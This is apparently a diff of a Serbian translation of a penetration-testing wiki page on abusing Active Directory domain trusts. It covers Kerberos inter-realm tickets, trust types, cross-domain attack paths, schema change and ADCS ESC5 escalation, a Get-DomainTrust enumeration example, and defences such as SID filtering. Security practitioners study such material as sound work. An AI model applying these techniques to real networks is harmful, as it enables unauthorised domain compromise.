1. **klijentski računar** u **Domen 1** započinje proces koristeći svoj **NTLM hash** da zatraži **Ticket Granting Ticket (TGT)** od svog **Domain Controller (DC1)**.
|
||||
2. DC1 izdaje novu TGT ako je klijent uspešno autentifikovan.
|
||||
3. Klijent zatim traži **inter-realm TGT** od DC1, koja je potrebna za pristup resursima u **Domen 2**.
|
||||
4. Inter-realm TGT je enkriptovana sa **ključem poverenja** koji je deljen između DC1 i DC2 kao deo dvosmernog poverenja domena.
|
||||
5. Klijent uzima inter-realm TGT do **Domain 2's Domain Controller (DC2)**.
|
||||
6. DC2 verifikuje inter-realm TGT koristeći svoj deljeni ključ poverenja i, ako je važeća, izdaje **Ticket Granting Service (TGS)** za server u Domenu 2 kojem klijent želi pristupiti.
|
||||
7. Na kraju, klijent predstavlja ovaj TGS serveru, koji je enkriptovan sa hash-om naloga servera, da bi dobio pristup usluzi u Domenu 2.
|
||||
|
||||
### Different trusts
|
||||
|
||||
Važno je primetiti da **poverenje može biti jednostrano ili dvostrano**. U dvostranoj opciji, oba domena će se međusobno poveravati, ali u **jednostranom** odnosu poverenja jedan od domena će biti **povereni**, a drugi **pouzdani** domen. U poslednjem slučaju, **moći ćete da pristupite resursima unutar pouzdanog domena samo iz poverenog**.
|
||||
Važno je primetiti da **poverenje može biti jednostrano ili dvostrano**. U dvostranoj opciji, oba domena će se međusobno poveravati, ali u **jednostranom** odnosu poverenja jedan od domena će biti **poverljiv** a drugi **pouzdani** domen. U poslednjem slučaju, **moći ćete da pristupite resursima unutar pouzdanog domena samo iz poverljivog**.
|
||||
|
||||
Ako Domen A poverava Domenu B, A je pouzdani domen, a B je povereni. Štaviše, u **Domenu A**, ovo bi bilo **Outbound trust**; a u **Domenu B**, ovo bi bilo **Inbound trust**.
|
||||
Ako Domen A poverava Domenu B, A je pouzdani domen a B je poverljiv. Štaviše, u **Domenu A**, ovo bi bilo **Outbound trust**; a u **Domenu B**, ovo bi bilo **Inbound trust**.
|
||||
|
||||
**Različiti odnosi poverenja**
|
||||
|
||||
- **Parent-Child Trusts**: Ovo je uobičajena postavka unutar iste šume, gde dete domen automatski ima dvosmerno tranzitivno poverenje sa svojim roditeljskim domenom. Suštinski, to znači da zahtevi za autentifikaciju mogu nesmetano teći između roditelja i deteta.
|
||||
- **Cross-link Trusts**: Poznate kao "prečice poverenja", ove se uspostavljaju između domena dece kako bi se ubrzali procesi upućivanja. U složenim šumama, upućivanja za autentifikaciju obično moraju putovati do korena šume, a zatim do ciljnog domena. Kreiranjem prečica, putovanje se skraćuje, što je posebno korisno u geografski rasprostranjenim okruženjima.
|
||||
- **External Trusts**: Ove se postavljaju između različitih, nepovezanih domena i po prirodi su netransitivne. Prema [Microsoftovoj dokumentaciji](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>), eksterni trustovi su korisni za pristup resursima u domenu izvan trenutne šume koji nije povezan šumskim poverenjem. Bezbednost se pojačava filtriranjem SID-a sa spoljnim poverenjima.
|
||||
- **Tree-root Trusts**: Ova poverenja se automatski uspostavljaju između korenskog domena šume i novododatog korena drveta. Iako se ne susreću često, poverenja korena drveta su važna za dodavanje novih domena drveća u šumu, omogućavajući im da zadrže jedinstveno ime domena i osiguravajući dvosmernu tranzitivnost. Više informacija može se naći u [Microsoftovom vodiču](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>).
|
||||
- **External Trusts**: Ove se postavljaju između različitih, nepovezanih domena i po prirodi su netransitivne. Prema [Microsoftovoj dokumentaciji](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>), spoljašnja poverenja su korisna za pristup resursima u domenu izvan trenutne šume koji nije povezan šumskim poverenjem. Bezbednost se pojačava filtriranjem SID-a sa spoljnim poverenjima.
|
||||
- **Tree-root Trusts**: Ova poverenja se automatski uspostavljaju između korenskog domena šume i novododate korenske grane. Iako se ne susreću često, tree-root poverenja su važna za dodavanje novih domena u šumu, omogućavajući im da zadrže jedinstveno ime domena i osiguravajući dvosmernu tranzitivnost. Više informacija možete pronaći u [Microsoftovom vodiču](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>).
|
||||
- **Forest Trusts**: Ova vrsta poverenja je dvosmerno tranzitivno poverenje između dva korenska domena šume, takođe primenjujući filtriranje SID-a kako bi se poboljšale mere bezbednosti.
|
||||
- **MIT Trusts**: Ova poverenja se uspostavljaju sa ne-Windows, [RFC4120-kompatibilnim](https://tools.ietf.org/html/rfc4120) Kerberos domenima. MIT poverenja su malo specijalizovanija i prilagođena su okruženjima koja zahtevaju integraciju sa Kerberos-baziranim sistemima van Windows ekosistema.
|
||||
- **MIT Trusts**: Ova poverenja se uspostavljaju sa ne-Windows, [RFC4120-usaglasnim](https://tools.ietf.org/html/rfc4120) Kerberos domenima. MIT poverenja su malo specijalizovanija i prilagođena su okruženjima koja zahtevaju integraciju sa Kerberos-baziranim sistemima van Windows ekosistema.
|
||||
|
||||
#### Other differences in **trusting relationships**
|
||||
|
||||
- Odnos poverenja može biti **tranzitivan** (A poverava B, B poverava C, onda A poverava C) ili **netransitivan**.
|
||||
- Odnos poverenja može biti postavljen kao **bidirekcionalno poverenje** (oba se međusobno poveravaju) ili kao **jednostrano poverenje** (samo jedan od njih poverava drugog).
|
||||
- Odnos poverenja može biti postavljen kao **bidirekcionalno poverenje** (oba se međusobno poveravaju) ili kao **jednostrano poverenje** (samo jedan od njih se poverava drugom).
|
||||
|
||||
### Attack Path
|
||||
|
||||
1. **Enumerate** odnose poverenja
|
||||
2. Proverite da li bilo koji **bezbednosni princip** (korisnik/grupa/računar) ima **pristup** resursima **drugog domena**, možda putem ACE unosa ili tako što je u grupama drugog domena. Potražite **odnose preko domena** (poverenje je verovatno stvoreno za ovo).
|
||||
1. Kerberoast u ovom slučaju bi mogao biti još jedna opcija.
|
||||
2. Proverite da li bilo koji **bezbednosni princip** (korisnik/grupa/računar) ima **pristup** resursima **drugog domena**, možda putem ACE unosa ili članstvom u grupama drugog domena. Potražite **odnose preko domena** (poverenje je verovatno stvoreno za ovo).
|
||||
1. Kerberoast u ovom slučaju može biti još jedna opcija.
|
||||
3. **Kompromitujte** **naloge** koji mogu **preći** između domena.
|
||||
|
||||
Napadači bi mogli pristupiti resursima u drugom domenu putem tri osnovna mehanizma:
|
||||
|
||||
- **Članstvo u lokalnoj grupi**: Principi mogu biti dodati lokalnim grupama na mašinama, kao što je grupa "Administratori" na serveru, što im daje značajnu kontrolu nad tom mašinom.
|
||||
- **Članstvo u lokalnoj grupi**: Principi mogu biti dodati lokalnim grupama na mašinama, kao što je grupa “Administratori” na serveru, dajući im značajnu kontrolu nad tom mašinom.
|
||||
- **Članstvo u grupi stranog domena**: Principi takođe mogu biti članovi grupa unutar stranog domena. Međutim, efikasnost ove metode zavisi od prirode poverenja i obima grupe.
|
||||
- **Access Control Lists (ACLs)**: Principi mogu biti navedeni u **ACL**, posebno kao entiteti u **ACEs** unutar **DACL**, pružajući im pristup specifičnim resursima. Za one koji žele dublje da istraže mehaniku ACL-a, DACL-a i ACE-a, beleška pod nazivom “[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)” je neprocenjiv resurs.
|
||||
|
||||
@ -582,7 +582,7 @@ sid-history-injection.md
|
||||
|
||||
#### Iskoristite pisanu Configuration NC
|
||||
|
||||
Razumevanje kako se Configuration Naming Context (NC) može iskoristiti je ključno. Configuration NC služi kao centralni repozitorijum za konfiguracione podatke širom šume u Active Directory (AD) okruženjima. Ovi podaci se repliciraju na svaki Domain Controller (DC) unutar šume, pri čemu pisani DC-ovi održavaju pisanu kopiju Configuration NC. Da bi se to iskoristilo, potrebno je imati **SYSTEM privilegije na DC-u**, po mogućstvu na child DC-u.
|
||||
Razumevanje kako se Configuration Naming Context (NC) može iskoristiti je ključno. Configuration NC služi kao centralni repozitorijum za konfiguracione podatke širom šume u Active Directory (AD) okruženjima. Ovi podaci se repliciraju na svaki Domain Controller (DC) unutar šume, pri čemu pisani DC-ovi održavaju pisanu kopiju Configuration NC. Da bi se ovo iskoristilo, potrebno je imati **SYSTEM privilegije na DC-u**, po mogućstvu na child DC-u.
|
||||
|
||||
**Povežite GPO sa root DC lokacijom**
|
||||
|
||||
@ -598,7 +598,7 @@ Detaljna analiza može se naći u diskusiji o [Golden gMSA Trust Attacks](https:
|
||||
|
||||
**Napad na promenu šeme**
|
||||
|
||||
Ova metoda zahteva strpljenje, čekajući na kreiranje novih privilegovanih AD objekata. Sa SYSTEM privilegijama, napadač može izmeniti AD šemu kako bi dodelio bilo kojem korisniku potpunu kontrolu nad svim klasama. To bi moglo dovesti do neovlašćenog pristupa i kontrole nad novokreiranim AD objektima.
|
||||
Ova metoda zahteva strpljenje, čekajući na kreiranje novih privilegovanih AD objekata. Sa SYSTEM privilegijama, napadač može izmeniti AD šemu kako bi dodelio bilo kojem korisniku potpunu kontrolu nad svim klasama. Ovo bi moglo dovesti do neovlašćenog pristupa i kontrole nad novokreiranim AD objektima.
|
||||
|
||||
Dalje čitanje je dostupno o [Schema Change Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-6-schema-change-trust-attack-from-child-to-parent).
|
||||
|
||||
@ -608,7 +608,7 @@ ADCS ESC5 ranjivost cilja kontrolu nad objektima javne infrastrukture ključeva
|
||||
|
||||
Više detalja o ovome može se pročitati u [From DA to EA with ESC5](https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c). U scenarijima bez ADCS, napadač ima mogućnost da postavi potrebne komponente, kao što je diskutovano u [Escalating from Child Domain Admins to Enterprise Admins](https://www.pkisolutions.com/escalating-from-child-domains-admins-to-enterprise-admins-in-5-minutes-by-abusing-ad-cs-a-follow-up/).
|
||||
|
||||
### Eksterna šuma domena - Jednosmerno (ulazno) ili dvostrano
|
||||
### Eksterna šuma domena - Jednosmerna (ulazna) ili dvostrana
|
||||
```powershell
|
||||
Get-DomainTrust
|
||||
SourceName : a.domain.local --> Current domain
|
||||
@ -619,7 +619,7 @@ TrustDirection : Inbound --> Inboud trust
|
||||
WhenCreated : 2/19/2021 10:50:56 PM
|
||||
WhenChanged : 2/19/2021 10:50:56 PM
|
||||
```
|
||||
U ovom scenariju **vaša domena je poverena** spoljašnjoj, što vam daje **neodređene dozvole** nad njom. Moraćete da pronađete **koji principi vaše domene imaju koji pristup spoljašnjoj domeni** i zatim pokušati da to iskoristite:
|
||||
U ovom scenariju **vaša domena je poverena** spoljašnjoj, što vam daje **neodređene dozvole** nad njom. Moraćete da pronađete **koji principi vaše domene imaju koji pristup spoljašnjoj domeni** i zatim pokušate da to iskoristite:
|
||||
|
||||
{{#ref}}
|
||||
external-forest-domain-oneway-inbound.md
|
||||
@ -639,7 +639,7 @@ WhenChanged : 2/19/2021 10:15:24 PM
|
||||
```
|
||||
U ovom scenariju **vaša domena** **pouzdava** neke **privilegije** principalu iz **drugih domena**.
|
||||
|
||||
Međutim, kada je **domena poverena** od strane poverene domene, poverena domena **kreira korisnika** sa **predvidivim imenom** koji koristi **lozinku poverene lozinke**. Što znači da je moguće **pristupiti korisniku iz poverene domene kako bi se ušlo u poverenu** da bi se enumerisalo i pokušalo da se eskaliraju dodatne privilegije:
|
||||
Međutim, kada je **domena poverena** od strane poverene domene, poverena domena **kreira korisnika** sa **predvidivim imenom** koji koristi **lozinku poverene lozinke**. Što znači da je moguće **pristupiti korisniku iz poverene domene kako bi se ušlo u poverenu** da bi se enumerisalo i pokušalo da se eskalira više privilegija:
|
||||
|
||||
{{#ref}}
|
||||
external-forest-domain-one-way-outbound.md
|
||||
@ -658,7 +658,7 @@ rdp-sessions-abuse.md
|
||||
|
||||
### **SID filtriranje:**
|
||||
|
||||
- Rizik od napada koji koriste SID istorijski atribut preko šuma poverenja je umanjen SID filtriranjem, koje je podrazumevano aktivirano na svim međušumskim poverenjima. Ovo se zasniva na pretpostavci da su unutrašnja poverenja šuma sigurna, smatrajući šumu, a ne domenu, kao bezbednosnu granicu prema stavu Microsoft-a.
|
||||
- Rizik od napada koji koriste SID istorijski atribut preko šuma poverenja je ublažen SID filtriranjem, koje je aktivirano po defaultu na svim međušumskim poverenjima. Ovo se zasniva na pretpostavci da su unutrašnja poverenja šuma sigurna, smatrajući šumu, a ne domenu, kao bezbednosnu granicu prema stavu Microsoft-a.
|
||||
- Međutim, postoji caka: SID filtriranje može ometati aplikacije i pristup korisnicima, što dovodi do povremene deaktivacije.
|
||||
|
||||
### **Selektivna autentifikacija:**
|
||||
@ -678,7 +678,7 @@ https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-move
|
||||
|
||||
[**Saznajte više o tome kako zaštititi kredencijale ovde.**](../stealing-credentials/credentials-protections.md)
|
||||
|
||||
### **Defanzivne mere za zaštitu kredencijala**
|
||||
### **Defensivne mere za zaštitu kredencijala**
|
||||
|
||||
- **Ograničenja za Administratore Domeni**: Preporučuje se da Administratori Domeni mogu da se prijave samo na Kontrolere Domeni, izbegavajući njihovu upotrebu na drugim hostovima.
|
||||
- **Privilegije Servisnog Računa**: Servisi ne bi trebali da se pokreću sa privilegijama Administratora Domeni (DA) kako bi se održala bezbednost.
|
||||
|
Loading…
x
Reference in New Issue
Block a user